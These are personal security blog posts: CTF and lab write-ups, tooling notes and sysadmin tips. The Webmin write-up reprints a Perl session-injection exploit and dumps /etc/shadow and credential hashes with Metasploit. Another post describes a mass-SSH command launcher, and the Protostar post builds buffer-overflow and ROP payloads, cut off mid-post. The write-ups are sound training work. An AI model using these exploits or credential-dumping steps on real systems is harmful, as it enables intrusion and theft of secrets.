RNCCDC was one of the best experiences of my life so far. I got to compete with and against the best in the industry, learned so many things to help me prepare for next year, and most importantly I got to know a fantastic group of guys I got to call my team. We were so wiped out after the two days and a total of about 18 hours of competition (plus panopoly) that some of us just fell asleep during some of the sponsor presentations (like the one about Walmart's hyperextended internal APT malcode darknet honeypot in the cloud).

tired boys
Bryan (Left) and I (Right) sleeping after two long days and a long night at Panoply

As always a huge thanks to my team, everyone who supported me through this, the sponsors, the white team, CCDC staff, and anyone else I missed. Everyone put a lot of work in to make this all happen and give college students like me the opportunity to learn so much about cybersecurity from some of the best in the business. See you next year CCDC!

Simple Limited Backup Script

By: wumb0
25 May 2014 at 04:53

I was setting up cron tasks for updating and backing up this site today and wrote a very simple script to backup mysql and keep only the 10 most recent backups. Check it out:

#!/bin/bash
date=<code>date +%m%d%Y-%H%M%S</code>
cd $@
mysqldump --user=backupuser --password="mysqluserpassword" --all-databases --add-drop-table 2>/dev/null > mysql-backup-$date.sql

ls -t \| tail -n +11 \| xargs rm &>/dev/null

This script dumps all databases and saves it as mysql-backup-$date.sql where $date is "MonthDayFullyear-HourMinSec" in a directory passed as an argument. Then it does an ls -t on the directory the backups are stored in (-t sorts ascending by date) then tail-ing lines 11 and up, ignoring the first 10. This is then fed to xargs rm to remove all but the 10 newest backups. I thought it was neat because it doesn't even require an if statement but still gets the job done. Obviously this can be used for other types of backups, too; just use the last line of this script after backing things up and you are good to go!

(the user backupuser only has read permissions on the DBs, so putting the password in this script isn't such a big deal)

Compiling Redistributable DLL Independent in Visual Studio

By: wumb0
6 June 2014 at 17:07

I just was looking into this today and figured it was worth posting about. Usually code compiled with Visual Studio needs a redistributable package (ex. C++ Redistributables) to run. This is a set of DLLs that allows resulting executable to be smaller by having common function calls be distributed in the DLL rather than in the executable file itself. There is a way to turn this off though so your malware/program/whatever can stand on its own.

Build-Properties
Project -> [Project Name] -> Properties
Configuration
Configuration Properties -> C/C++ (or whatever language) -> Code Generation -> Runtime Library -> Set to Multi-Threaded (/MT)

It's as easy as that!

Virtualizing a Physical (Kali) Linux Partition on Mac

By: wumb0
8 June 2014 at 18:26

Let me start by saying that I'm a fan of doing sort of obscure things. Things like installing Kali Linux onto a partition on my Mac so I could boot into it separately. So I did that with the help of a blog post at http://cr0ss.org/blog/?p=31. My drive is actually laid out as follows with disk0 being my internal SSD and disk0s1 representing partition 1, disk0s2 representing partition 2, etc.

My partition layout is a bit weird now and Disk Utility doesn't even read it right.

Partition Table

[disk0s1 - EFI Boot for OSX partition]

[disk0s2 - Solid, my OSX partition, ~350GB]

[disk0s3 - OSX Recovery Partition]

[disk0s6 - Kali, my Linux partition, ~47GB]

[disk0s4 - Linux (EFI) /boot partition]

[disk0s5 - Linux Swap space, ~2GB]

This is good to know moving forward. So I was happy with my Kali install and was booting into it fine but I was still missing a luxury I had when I was running Windows in Bootcamp: Β the ability to virtualize the physical partition. So I set out on a quest to solve this problem. First, I tried looking for what was already attempted before and I came across another blog post hereΒ that detailed how to get a physical linux partition booting in VMWare Fusion. My first attempts at this did not work because I only followed the first few steps and did not really understand the GRUB part because I had already installed GRUB. But not really... I had installed and configured GRUB on the physical /boot partition (disk0s4) so it wasn't on the main one (disk0s6) that I was actually mounting and trying to boot after creating the raw disk with the vmware-rawdiskCreator. So last night I tried again, this time booting from a live CD and installing grub from that. I figured that it would work now because it had a bootloader, but no such luck. When VMWare was trying to boot up the VM with the raw disk vmdk of my Kali partition it would try to unmount the entirety of disk0--the disk that contains the booted up host OS (OSX), so there was really no way it was getting unmounted.

[[more]]

So I hit a roadblock... A bit more Googling led me to a way to use VirtualBox to do the same thing so I decided to give it a shot. That post can be found atΒ https://forums.virtualbox.org/viewtopic.php?t=9223#p66028.

To get it working I did the following:

  1. Gave VBox access to the drive: chmod 777 /dev/disk0s6

  2. Ran the command: VBoxManage internalcommands createrawvmdk -filename /Users/Cheddar/Kali.vmdk -rawdisk /dev/disk0s6

  3. Created a new VM and used that as the existing virtual disk

But it still wouldn't boot! I came to find out that I had installed GRUB incorrectly and the vmlinuz.img and initrd.img files weren't even on the Kali partition (disk0s6). So I booted into my Backtrack 5 live CD once again to fix things: First I copied the vmlinuz.img and initrd.img files from the physical boot partition on to a flash drive (in the host machine) Then I ran the following commands (sdb was the usb drive, sda was the Kali partition)

mount -t msdos /dev/sdb /mnt
cp vmlinuz* initrd* ~
umount /mnt
mount /dev/sda /mnt
cd /mnt
cp ~/vmlinuz* ~/initrd* boot
mount --bind /dev dev
mount -t sysfs sys sys
mount -t proc proc proc
chroot .
grub-install /dev/sda
grub-mkconfig > /boot/grub/grub.cfg

Now...Β BOOT IT UP! It works! Nice! Just had to use VirtualBox's raw disk creator and install and configure GRUB. After that I was wondering if I could just load the raw disk back into VMWare Fusion because it was just a VMDK file. So I tried the following:

Create a new custom virtual machine

New VMCustom VM

Pick the OS and create a NEW virtual disk because VMWare won't accept the raw disk vmdk as an option when you go to select an existing disk. Then customize options to your liking. Next, quitΒ VMWare Fusion and go to where your VM is stored and open the .VMX file in a text editor. Add the following lines:

ide0:0.present = "TRUE"
ide0:0.fileName = "Kali.vmdk"
ide0:0.deviceType = "rawDisk"

And delete every line in the file starting with scsi0:0 (the old virtual disk that you needed to create). Then save the file and double click on it to start it up. It should work! Now you have a Kali Linux partition that you can boot via the Mac EFI bootloader AND via VMWare when booted into OSX.

All of this took me about 20 hours to do and figure out, hopefully it takes less time for you with this post!

Update: The VMWare virtual disk creator works now...

/Applications/VMware\ Fusion.app/Contents/Library/vmware-rawdiskCreator create /dev/disk0 5,6 ~/Documents/Virtual\ Machines.localized/PhysicalKali.vmdk ide

Pwnium CTF - ROT Writeup

By: wumb0
6 July 2014 at 06:46

I wanted to do a writeup on SOMETHING from this CTF. So I picked the task I spent the most time on: ROT, a programming challenge worth 300 points.

The challenge said "nc 41.231.53.40 9090" and "ROT 90, ROT -90, ROT 90..." so as an obvious first step I connected to the server to see what I had to do.

nc 41.231.53.40 9090
iVBORw0KGgoAAAANSUhEUgAAAMgAAADICAIAAAAiOjnJAAATGUlEQVR4nO2de2wVx73HP2vjBHxsCNjXdrFDeCYqpFxCIA5VCSE...
Answer:

About fifty lines of base64 encoded data and then an answer prompt. Okay so decode, solve for the flag, and submit it. No, not that simple! The connection to the server would close after about 3 seconds and each time that I connected the challenge base64 data changed. Whatever I had to program needed to work fast and provide the answer back. Since sockets are nice and simple in Python, it's what I chose to write this in. Alright, now time to figure out what that base64 is...

[[more]]

#!/usr/bin/env python
import socket
import base64
s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)
s.connect(("41.231.53.40", 9090))
print(base64.b64decode(s.recv(30000)))

Looks like a file and checking the header confirms: it's a PNG... with the "Answer: " prompt still tacked onto the end. Cool so split the output by newline, write it to a file, and check it out: ROT

The whole ROT idea is starting to take shape. It looks like the answer is a string of characters but mutated somehow. According to the hint 90Β°, -90Β°, 90Β°, -90Β°, etc.

I decided to start from the outside and go in. The outermost strip does not have a character on it so I ignore it in this solution and start at the next box in. The 2nd section needed to be rotated 90Β° so I used Pillow (a maintained fork of the Python Image Library (PIL)) to manipulate the image. The image is 200px by 200px and has 10 boxes including the outermost one.

Pillow allows selection of a square, rotation, and pasting back onto the original image; just what I needed. The idea is to select a box rotate it 90Β°, make the box one section smaller, and then rotate the rest back -90Β° and then repeatΒ for the next section with -90Β° and 90Β° back. Since there are 10 sections over a 200x200 image, each side of a box is 10px. PIL box selections can be done by specifying the x and y coordinates of the upper left and the lower right corners in a tuple. Starting at ( 10, 10, 190, 190 ) and increasing the left bounds by 10 each and decreasing the right bounds by 10 while rotating until the middle is reached results in the solved image.

ans

def rotateImg():
    img = Image.open(sys.argv[1])
    img.load()
    left, upper, right, lower = (10, 10, 190, 190)
    for i in range(0, 9):
        box = ( left, upper, right, lower )
        region = img.crop(box)
        if (i % 2) == 0:
            region = region.transpose(Image.ROTATE_90)
        else:
            region = region.transpose(Image.ROTATE_270)
        img.paste(region, box)
        left += 10
        upper += 10
        right -= 10
        lower -= 10
        box = ( left, upper, right, lower )
        region = img.crop(box)
        if (i % 2) == 0:
            region = region.transpose(Image.ROTATE_270)
        else:
            region = region.transpose(Image.ROTATE_90)
        img.paste(region, box)
        img.save("ans.png", "PNG")

Now the issue of recognizing the text and sending the answer. The readbot library uses the tesseract-ocr engine to recognize text. Now all that needed to be done was implement it and send back the answer. Sure enough, after a couple of incorrect reads the flag was returned!

./prog300.py lol.png
Tesseract Open Source OCR Engine v3.03 with Leptonica
GV7DUTWRZT
<strong>Flag: Pwnium{b1a371c90da6a1d2deba2f6ebcfe3fc0}</strong>

Here's the final code:

#!/usr/bin/env python
import base64
import socket
import sys
from PIL import Image
from readbot import ReadBot
def getImage():
    PORT = 9090
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("41.231.53.40", PORT))
    with open(sys.argv[1], "w") as file:
        file.write(base64.b64decode(s.recv(30000).split('\n')[0]))
    return s
def rotateImg():
    img = Image.open(sys.argv[1])
    img.load()
    left, upper, right, lower = (10, 10, 190, 190)
    for i in range(0, 9):
        box = ( left, upper, right, lower )
        region = img.crop(box)
        if (i % 2) == 0:
            region = region.transpose(Image.ROTATE_90)
        else:
            region = region.transpose(Image.ROTATE_270)
        img.paste(region, box)
        left += 10
        upper += 10
        right -= 10
        lower -= 10
        box = ( left, upper, right, lower )
        region = img.crop(box)
        if (i % 2) == 0:
            region = region.transpose(Image.ROTATE_270)
        else:
            region = region.transpose(Image.ROTATE_90)
        img.paste(region, box)
        img.save("ans.png", "PNG")
def ocrthatbitch(img):
    tess = ReadBot()
    text = tess.interpret(img)
    print(text)
    return text
def main():
    s = getImage()
    rotateImg()
    s.send(ocrthatbitch("./ans.png") + '\n')
    print(s.recv(1028))
    s.close()
if __name__ == '__main__':
    sys.exit(main())

Quick and Dirty File Transfers with Python

By: wumb0
8 July 2014 at 01:50

If you ever need to transfer something quickly from one computer (that has Python) to another you can fire up the Python SimpleHTTPServer module to help you out. Simply change directories to the path you want to serve and run:

python -m SimpleHTTPServer 8080

This will serve the current directory via HTTP on port 8080. Download what you need on the other machine then control-C the python server to shut it down and that's it! The port can be changed from 8080 to any other port but keep in mind that if you want to serve on ports <1024 then you'll need to run the command as root. Neat!

Scapy on Mac

By: wumb0
17 July 2014 at 03:05

Just a quick note here about an issue I was having getting Scapy to work with my Mac. It can be installed from MacPorts but you need to make sure the Python you are using is the MacPorts one in /opt/local/bin and not in /usr/bin. The Apple one has it's own issues and cannot see modules installed by macports. Alternatively you can just invoke Scapy from the command line by typing scapy into terminal.

Another issue I had was with bridged or vbox adapters. Scapy will throw the following error:

"/opt/local/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/scapy/arch/pcapdnet.py", line 168, in get_if_raw_addr return i.get(ifname)["addr"].data File "dnet.pyx", line 990, in dnet.intf.get OSError: Device not configured
The error has to do with getting details about interfaces on the computer. To fix edit /opt/local/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/scapy/arch/unix.py:
# from
f=os.popen("netstat -rn") # -f inet
# to
f=os.popen("netstat -rn | grep -v vboxnet | grep -v bridge") # -f inet

(/opt/local/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/scapy/arch/unix.py will change based on the version you are using, replace 2.7 and python 2.7 with your version) And that should fix everything! Happy hacking!

Running i386 Binaries on amd64 Debian

By: wumb0
31 July 2014 at 22:24

I ran into this recently and thought it was worth a post. During the Pwnium CTF I was trying to run some of the programs on my Kali VM/partition, which is an amd64 install. Unfortunately the binaries were for the i386 architecture. I did a quick search and all I could find was to run dpkg --add-architecture i386 andΒ install ia32-libs.

. This doesn't play very nice with Kali and requires about 800MB of extra packages. Not so great. So I was searching around again today as I was upgrading Kali to 1.1.8 and found the better answer:

dpkg --add-architecture i386
apt-get update
apt-get install libc6:i386

After I did that i386 programs would run. The best part, though: only 11MB. Big improvement, same result. Neat.

ref: http://stackoverflow.com/questions/20032019/to-install-ia32-libs-on-debian-wheezy-amd64

Quickly Faking Services With Python

By: wumb0
30 September 2014 at 21:36

I was developing a port scanning exercise for RIT's Competitive Cybersecurity Club (RC3) a few weeks ago and I thought it would be neat to develop a tool to fake services on the fly. Out of this came fakesrv.py, which allows you to specify a protocol, port, and message or file to spit back when someone connects.

./fakesrv.py -t -p 1337 -m "This is a TCP server listening on port 1337!"
./fakesrv.py -u -p 12345 -m "This is a UDP server listening on port 12345!"
./fakesrv.py -t -p 31337 -f /etc/passwd

Quick, easy, and fun.

Check it out: https://github.com/jgeigerm/fakesrv

NCL Exploit 2: Webmin Writeup

By: wumb0
1 October 2014 at 02:49

This one was fun. The challenge was titled Exploit 2 with the task of finding the flag on the system. A quick nmap scan with service detection showed a Webmin console running on port 10000. I tried searching for a default password for default webmin login but it reads from shadow. I decided to look into webmin vulns next. A quick google search uncovered a remote command execution vuln! Hallelujah! I found the following exploit code.

#!/usr/bin/perl
#
# Exploit for Webmin 1.050 - 1.060 by Carl Livitt
#
# Inserts a fake session_id into the sessions list of webmin.
# Does no error checking... if remote host is not found, no
# error will be reported.
#

print "Webmin 1.050 - 1.060 Remote SID Injection Exploit\n";
print "By Carl Livitt \n\n";

$nc="/usr/bin/nc";

if($#ARGV == -1) {
    print "Syntax:\n\t$0 hostname\n";
    exit(1);
}

$hostname=$ARGV[0];

if ( ! -x $nc ) {
    print "netcat not found!\n";
    exit(2);
}

open(NC, "|$nc $hostname 10000 >& /dev/null");
print NC "GET / HTTP/1.1\n";
print NC "Host: $hostname\n";
print NC "User-agent: webmin\n";
print NC "Authorization: Basic YSBhIDEKbmV3IDEyMzQ1Njc4OTAgYWRtaW46cGFzc3dvcmQ=\n\n";
close(NC);

print "You should now have a session\_id of 1234567890 for user 'admin' on host $hostname.\n";
print "Just set two cookies in your browser:\n\ttesting=1\n\tsid=1234567890\nand you will ";
print "be authenticated to the webmin server!\n\n";
print "Note: This will only work on a webmin server configured with the 'passdelay' option.\n";

Escalating to admin looks good. Unfortunately, the exploit didn't seem to be working when I plugged the correct cookie values into Firefox. So I kept looking... Metasploit module for file disclosure: auxiliary/admin/webmin/file_disclosure [[more]]

msf auxiliary(file_disclosure) > use auxiliary/admin/webmin/file_disclosure
msf auxiliary(file_disclosure) > show options

Module options (auxiliary/admin/webmin/file_disclosure):

   Name     Current Setting    Required  Description
   ----     ---------------    --------  -----------
   DIR      /unauthenticated   yes       Webmin directory path
   Proxies                     no        Use a proxy chain
   RHOST    54.221.*.*         yes       The target address
   RPATH    /etc/passwd        yes       The file to download
   RPORT    10000              yes       The target port
   VHOST                       no        HTTP server virtual host

Let's try it out...

msf auxiliary(file_disclosure) > exploit
[*] Attempting to retrieve /etc/passwd...
[*] The server returned: 200 Document follows
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
...
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
[*] Auxiliary module execution completed

HELL YES. But just to make sure we can get to ANY file...

msf auxiliary(file_disclosure) > set RPATH /etc/shadow
RPATH => /etc/shadow
msf auxiliary(file_disclosure) > exploit

Sure enough, the whole shadow file was dumped. There was one user with a hash: ubuntu. I took that attack vector, I started cracking it. SSH was also open on the machine, but unfortunately it only accepted authorized_keys. I stopped the crack, saved the hash for later, and continued my search for the flag. The problem here is that directories cannot be listed, so we need to know what files to look in. I thought that maybe they had left their SSH keys lying around so I looked in /home/ubuntu/.ssh/ for id_rsa and id_dsa but no such luck. I searched around the internet for important webmin files and I found /etc/webmin/miniserv.conf. In this file there was the location of a users file...

session=1
<b>userfile=/etc/webmin/miniserv.users</b>
keyfile=/etc/webmin/miniserv.pem
passwd\_file=/etc/shadow

Looking in that file gave me back a user named 'admin' and a corresponding hash! I started cracking again. In the mean time I wanted to find out more information about the webmin install. I ran across the path to a logfile: /var/webmin/webmin.log So I ran the module:

msf auxiliary(file_disclosure) > set RPATH /var/webmin/webmin.log
RPATH => /var/webmin/webmin.log
msf auxiliary(file_disclosure) > exploit
[*] Attempting to retrieve /var/webmin/webmin.log...
[*] The server returned: 200 Document follows
1412056349.16448.0 [30/Sep/2014 05:52:29] admin 48ce0c8821c3b8e1bb0d4e1da9f6bfb3 69.243.41.246 shell index.cgi "run" "-" "-" cmd
='ls'
1412056361.16443.0 [30/Sep/2014 05:52:41] admin 48ce0c8821c3b8e1bb0d4e1da9f6bfb3 69.243.41.246 shell index.cgi "run" "-" "-" cmd
='echo ls'
...
1412058045.17086.0 [30/Sep/2014 06:20:45] admin bd3bb672780ccf9c85e4c31761e54e0c 96.244.40.9 shell index.cgi "run" "-" "-" cmd='cat flag.php'
1412058064.17085.0 [30/Sep/2014 06:21:04] admin bd3bb672780ccf9c85e4c31761e54e0c 96.244.40.9 shell index.cgi "run" "-" "-" cmd='find / -name flag.php'
1412058074.17133.0 [30/Sep/2014 06:21:14] admin bd3bb672780ccf9c85e4c31761e54e0c 96.244.40.9 shell index.cgi "run" "-" "-" cmd='cat <strong>/var/www/flag.php</strong>'

YES! That looks good... Now to look in that file...

msf auxiliary(file_disclosure) > set RPATH /var/www/flag.php
RPATH => /var/www/flag.php
msf auxiliary(file_disclosure) > exploit
[*] Attempting to retrieve /var/www/flag.php...
[*] The server returned: 200 Document follows
<? // THIS IS THE RRAL FLAG FOR THIS SYSTEM: <strong>NCL-OSSL-1337</strong> FLAG FLAG FLAG ?>;
[*] Auxiliary module execution completed

Got it, NCL-OSSL-1337.

OS X^3 Kernel Issues

By: wumb0
3 November 2014 at 05:23

With the upgrade from Mavericks to Yosemite (pronounced Yo-sem-eye-t) came problems for me. Kernel panics every couple of hours after putting my Mac to sleep. I fear that it is my SSD that is causing the problem but I will try to fix it nonetheless. I wanted to recompile my kernel so it would be easier to debug so I patiently awaited the 10.10 source code on https://opensource.apple.com/. When it was released I got to downloading AvailabilityVersions 9, dtrace 147, and the xnu 2782.1.97 source code. Apparently not that many people know that the OSX kernel is open source, but it is and it is pretty straight forward to compile and install (except if you are me, and then random problems come up). Regardless, here are the steps that I followed to recompile my kernel:

1. Get the three packages

curl -O https://opensource.apple.com/tarballs/AvailabilityVersions/AvailabilityVersions-9.tar.gz
curl -O https://opensource.apple.com/tarballs/dtrace/dtrace-147.tar.gz
curl -O https://opensource.apple.com/tarballs/xnu/xnu-2782.1.97.tar.gz

2. Build ctfmerge/ctfdump/ctfconvert from dtrace

gunzip dtrace-147.tar.gz;tar -xf dtrace-147.tar;cd dtrace-147
mkdir -p obj sym dst
xcodebuild install -target ctfconvert -target ctfdump -target ctfmerge ARCHS="x86_64" SRCROOT=$PWD OBJROOT=$PWD/obj SYMROOT=$PWD/sym DSTROOT=$PWD/dst
sudo ditto $PWD/dst/usr/local /usr/local

3. Build AvailabilityVersions

gunzip AvailabilityVersions-9.tar.gz;tar -xf AvailabilityVersions-9.tar;cd AvailabilityVersions-9
mkdir -p dst
make install SRCROOT=$PWD DSTROOT=$PWD/dst
sudo ditto $PWD/dst/usr/local `xcrun -sdk / -show-sdk-path`/usr/local

4. Untar the kernel:

gunzip xnu-2782.1.97.tar.gz;tar -xf xnu-2782.1.97.tar;cd xnu-2782.1.97

5. At this point you could run make, but this is where I ran into trouble. I installed the 10.10 SDK via xCode in Preferences->Downloads and made sure it was installed with xcodebuild -showsdks. Everything seemed good to go, but when I ran make...

make ARCH_CONFIGS=X86_64 KERNEL_CONFIGS=RELEASE
xcodebuild: error: SDK "macosx.internal" cannot be located.
xcodebuild: error: SDK "macosx.internal" cannot be located.
xcrun: error: unable to lookup item 'Path' in SDK 'macosx.internal'
...Lots more errors...

The wrong SDK was being used. Whatever macosx.internal was, it wasn't working. So my solution was just to do a grep for 'macosx.internal' and replace it with 'macosx10.10':

grep -Rl "macosx.internal" . | while read i;do sed -i '' 's/macosx.internal/macosx10.10/' "$i";done

6. Now we run

make ARCH_CONFIGS=X86_64 KERNEL_CONFIGS=RELEASE

and it works just fine! The bare minimum kernel compilation instructions were taken from http://shantonu.blogspot.com/2013/10/building-xnu-for-os-x-109-mavericks.html

I hope this helps anyone having the same issues recompiling their Yosemite kernels!

Mass Pwning via SSH with PXSSH

By: wumb0
3 November 2014 at 05:50

I've been meaning to do something like this for a while. When I red team I find myself writing scripts and then uploading them and running them the dumb way because I've been too lazy to automate with expect. When I finally decided to write a python script to log in and run commands for me I was delighted to find pxssh, a pexpect based python module for connecting and interacting with SSH sessions. I used this and my prior practice with threading in python to create pxpwn: an asynchronous and distributed command launcher. By default it reads commands from a file called "commands.txt", targets from a file called "targets.txt", writes command output to stdout, has a default login username of "root", and a default login password of "changeme". It can be silenced entirely so it shows only connected clients with -q, output can be redirected to a single file with -o (not recommended for large target lists as it locks the thread when it writes), output can be redirected to a file per host with -d, the username can be set with -u , and the password can be set with -p .

This is FAST. It connected and ran commands on six machines on two different subnets (whole subnets in the targets.txt file, created with a bash for loop, nonexistent clients are reported and ignored) in about 15 seconds. I may need to program in the maximum number of threads to be used at one time so a large targets.txt file does not roast the computer it is running on. I'm also thinking of adding in optional per host usernames and passwords as well as killing the bash history by default (which I'm pretty sure it writes to).

The code can be found on my GitHub: https://github.com/jgeigerm/pxpwn

Anti-Debugging

By: wumb0
11 November 2014 at 00:20

I know anti-debugging and anti-reversing methods can be beaten fairly easily, but I played around with some today and thought it was worth sharing. My goal at the beginning was to be able to detect if a software breakpoint had been set (0xCC or 0xCD in memory). With a bit of searching around and figuring out different things I came up with the following code:

#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>

extern char __executable_start;
extern char __etext;
void check_bp(){
    //Check debugger breakpoints (software)
    unsigned char bp1 = 0xCB; //We need to define the interrupt
    unsigned char bp2 = 0xCB; //codes without actually including them
    bp1++; bp2++; bp2++;

    //Point to the beginning of the .text section and then figure out the size
    unsigned char* ch = (unsigned char *)(unsigned long)&__executable_start;
    size_t size = (unsigned long)&__etext - (unsigned long)&__executable_start;

    //Scan through memory (.text) to find breakpoints :)
    for (size_t i = 0; i != size; i++){
        if (ch[i] == bp1 || ch[i] == bp2){
            printf("Breakpoint detected. @0x%lx: 0x%x\nAborting.\n", (unsigned long)&ch[i], ch[i]);
            raise(SIGSEGV);
        }
    }
}

int main(){
    check_bp();
    //do main stuff
    return 0;
}

The external symbol __executable_start denotes where the text section starts in Linux. The external symbol __etext denotes the end of the text section in Linux. Basically this code finds where the text section starts and the size of the text section then scans through it to look for 0xCC or 0xCD. If it finds a breakpoint then the address and hex code of the breakpoint are printed to the screen and a segfault is raised. This can easily be bypassed by skipping over the check_bp function in GDB, but it is still a neat proof of concept.

Other things that can help prevent debugging/reversing are checking LD_PRELOAD, checking ptrace, and obfuscating the code. The first two can be beaten by the same trick that the breakpoint finder can, but obfuscation is not as easily defeated because it just makes the code really hard to reverse. Perhaps a combination of all four things can make a safer program, or perhaps a kernel module that prohibits tracing/breakpoints from any userland program. Just thoughts.

Sort of ROP

By: wumb0
11 November 2014 at 18:37

I've been running through some exploit challenges recently to try and develop my skills a bit more. I was working on the exploit-exercises.com Protostar VM on some stack challenges for a bit today and ended up doing some Return Oriented Programming (ROP) to solve stack6 and stack7. It was interesting to work on so I thought that I would share here. I know it isn't 100% ROP (I use shellcode in the end) but that's alright, it got around the protections that these two challenges had in place.

Basically the gist of these two is that you can overflow a buffer of size 64 to get code execution. In these examples, however, there are some restrictions. In stack6 if you try and overwrite the return address with anything that begins with 0xbf (anything on the stack or in environmental vars), then it will exit and not run the shellcode you want it to. Unfortunate, but a nice challenge. Stack7 is similar but you cannot make the return address anything that starts with 0xb at all so it is a bit more restrictive. I was actually able to solve both at the same time with ROP. [[more]]

First, I needed to make sure I could overwrite the return address. This is fairly simple in this case because I have the source code and know the size of the buffer (64). I generated some input with python to test and debugged with gdb to make sure my code was segfauting because of a specific sequence of characters. I usually fill the buffer up to just before the return address with A's and then tack on BCDEFGHI so I can get a feeling of how many A's I need to add/take away to have control over the return address. I usually start with the size of the buffer plus 20 and judge based on that if i need to add/subtract A's. If eip is filled with A's then I have gone too far. If eip is filled with not A's or any of BCDEFGHI then I need to go further. If eip is filled with A's and any of BCD or any of GHI and random stuff then I am close. If eip has any combination of BCDEFGHI then I have found the padding necessary to overwrite the return address.

~/ $ python -c 'print "A"*84 + "\x41\x42\x43\x44\x45\x46\x47\x48\x49"' > six
... in another term
/opt/protostar/bin $ gdb -q ./stack6
(gdb) r < ~/six
Starting program: /opt/protostar/bin/stack6 < ~/six
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDEFGHI

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Too far...

~/ $ python -c 'print "A"*80 + "\x41\x42\x43\x44\x45\x46\x47\x48\x49"' > six
... in another term
/opt/protostar/bin $ gdb -q ./stack6
(gdb) r < ~/six
Starting program: /opt/protostar/bin/stack6 < ~/six
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDEFGHI

Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()

Got it. So the magic number is 80 A's and then the return address (44 is E, 43 is D, etc). I'll save this for later.

Next, I needed to find what gadgets I could use to start building my chain. I thought of using ROPGadget from shell-storm, but the Protostar VM only had Python 2.6 and did not play nice with Capstone (disassembly framework). The alternative that I found and ended up using was ROPeMe. I had never used this tool before, only ROPGadget, but it is just as helpful and has a nice search feature so you can quickly find certain gadgets to build your chain with.

I started searching for ways to execute my shellcode...

user@protostar:~$ ./ropeme-bhus10/ropeme/ropshell.py
Simple ROP interactive shell: [generate, load, search] gadgets
ROPeMe> generate /opt/protostar/bin/stack6
Generating gadgets for /opt/protostar/bin/stack6 with backward depth=3
It may take few minutes depends on the depth and file size...
Processing code block 1/1
Generated 56 gadgets
Dumping asm gadgets to file: stack6.ggt ...
OK
ROPeMe> search call eax %
Searching for ROP gadget:  call eax % with constraints: []
0x804847fL: call eax ; leave ;;

Great, so we have a way to execute code via eax. Now we need to get data into eax. This can be done many different ways. The most straightforward way is to just pop from the stack into eax and then run the call instruction. So I tried to find that.

ROPeMe> search pop eax %
Searching for ROP gadget:  pop eax % with constraints: []
0x804835cL: pop eax ; pop ebx ; leave ;;

Unfortunately, there is a leave instruction at the end of this gadget, which will destroy the rest of my stack unless I do some manipulation. As a side note: it is okay that there is a leave in my call eax gadget because it will never actually get run because we are calling eax with our stack/registers all set up already so we do not need to worry about it. Another way that we can get data into eax as by using xchg. So a quick search for that...

ROPeMe> search xchg %
Searching for ROP gadget:  xchg % with constraints: []
0x804844bL: xchg edi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;

Score! Only one result and just the one we needed. A few things to worry about here, though. The lower part of eax (al) has 8 added to it and eax is added to whatever is in memory at ebx+0x5d5b04c4. So really we just need to make sure our shellcode has enough nops to account for the 8 added on to the calling register (eax), that's the easy part, though. The harder (but still fairly easy) part is to make sure ebx+0x5d5b04c4 is a valid memory location so we can modify it. If it isn't valid or we cannot modify it then the program will crash. To fix this I used gdb to pick a spot on the stack where the initial padding to overflow the buffer was placed. In this case A was used to fill the buffer up and overrun to just before the return address.

~/ $ python -c 'print "A"*80 + "\x41\x42\x43\x44"' > six
...in another term
/opt/protostar/bin $ gdb -q ./stack6
(gdb) r < ~/six
Starting program: /opt/protostar/bin/stack6 < ~/six
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDEFGHI

Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()
(gdb) x/16xw $esp-40
0xbffff648:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff658:     0x41414141      0x44434241      0x41414141      0x41414141
0xbffff668:     0x41414141      0x44434241      0x48474645      0x00000049
0xbffff678:     0xbffff6f8      0xb7eadc76      0x00000001      0xbffff724

Okay so it is probably safe to add to one of the addresses near the top of this print out, lets just say 0xbffff648. So now we can use gdb to subtract the two numbers.

(gdb) p/x 0xbffff648 - 0x5d5b04c4
$1 = 0x62a4f184

Score, so now we need a way to pop 0x62a4f184 into ebx before the xchg gadget. Back to ROPeMe.

ROPeMe> search pop ebx %
Searching for ROP gadget:  pop ebx % with constraints: []
0x804835dL: pop ebx ; leave ;;
0x80485c5L: pop ebx ; leave ;;
0x8048452L: pop ebx ; pop ebp ;;
0x80485a7L: pop ebx ; pop ebp ;;

A few options here, but I'll take one of the ones without a leave because those seem to mess things up. The pop ebp doesn't matter because we are worried about the top of the stack, not the bottom. 0x8048452 looks good. So now that we have solved the two problems with the xchg gadget, we can move on to actually getting data into eax. To do this, we need to get data into edi because that is what xchg is going to put into eax. ROPeMe again!

ROPeMe> search pop edi %
Searching for ROP gadget:  pop edi % with constraints: []
0x8048577L: pop edi ; pop ebp ;;

Nice. That gadget will work just fine. Another pop ebp but again that is no big deal as shown later in the actual exploit code.

So here is what we have so far:

  • 4 gadgets:
  1. 0x8048452L: pop ebx ; pop ebp ;;
  2. 0x804847fL: call eax ; leave ;;
  3. 0x804844bL: xchg edi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;
  4. 0x8048577L: pop edi ; pop ebp ;;
  • Control of EIP
  • An address to feed into ebx to make sure our xchg gadget doesn't crash @ 0x62a4f184
